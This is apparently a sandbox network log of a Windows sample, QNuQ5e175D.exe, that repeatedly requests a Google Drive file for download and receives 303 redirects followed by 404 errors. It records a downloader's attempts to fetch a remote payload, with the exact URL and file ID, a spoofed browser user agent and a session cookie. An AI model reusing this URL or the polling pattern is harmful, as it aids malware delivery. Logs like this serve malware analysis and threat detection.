2025-01-11 04:07:09 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:09 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-wxPkvX2YDFoTTiaSi_SqEA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.11	50041	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:10 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:10 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC55pC5XUPdIHCvhIPJJ0lwtQSua15A-UjuFCv8GWn6kk3Kk06RykxMbtXxSmnNT5LYW Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:10 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-XxdxbcX2v9B9FMfbYiw6pg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:07:10 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6a 47 52 68 65 38 67 48 70 72 42 4f 34 79 47 61 31 54 57 5f 2d 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="jGRhe8gHprBO4yGa1TW_-A">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.11	50042	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:11 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:11 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:11 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-gpsJDL8Gv1i6aTO-vKPcNg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.11	50043	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:12 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:12 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC624ajSIfGzut2cDFCCMVIQXkSYMdtQbco-CWxL5CAuDJpnCF-qnbwNFiOL3Dpo89pY Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:12 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-50XjqCsO5A_HWlElcgQjKQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:07:12 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 58 64 6a 55 75 76 4c 31 75 4e 76 72 43 2d 33 79 50 45 5f 33 4c 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="XdjUuvL1uNvrC-3yPE_3Lg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.11	50044	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:13 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:14 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:13 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-XeH41ixCPlkLLnoxsNuFVg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.11	50045	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:14 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:15 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgT4uuRPg2l-5AiBPijV9u2-_M1B_K0sJ0058W5N0wx43cawg7SM_MehnHfClgFBuGbbwDpEBJM Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:15 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-egoQtzVXlHtqRHtsB8mn_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:07:15 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 33 72 46 48 39 4f 52 37 72 42 32 55 6d 4e 38 4a 62 74 52 6d 72 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="3rFH9OR7rB2UmN8JbtRmrw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.11	50046	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:15 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:16 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:16 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-2iGl46ScZ_7097QimDg5sw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.11	50047	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:16 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:17 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQPqmjTMI653FfBuSHtnmV9dS7DUF62QsZBbW9nNns1d9jH811d0OjPRDYY2aW7HqfL Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:17 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-7bd134m998viTHqfmd9iKw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:07:17 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 52 58 66 62 6e 4d 72 6a 4e 70 62 50 78 46 6a 43 70 68 55 4c 56 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="RXfbnMrjNpbPxFjCphULVw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.11	50048	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:18 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
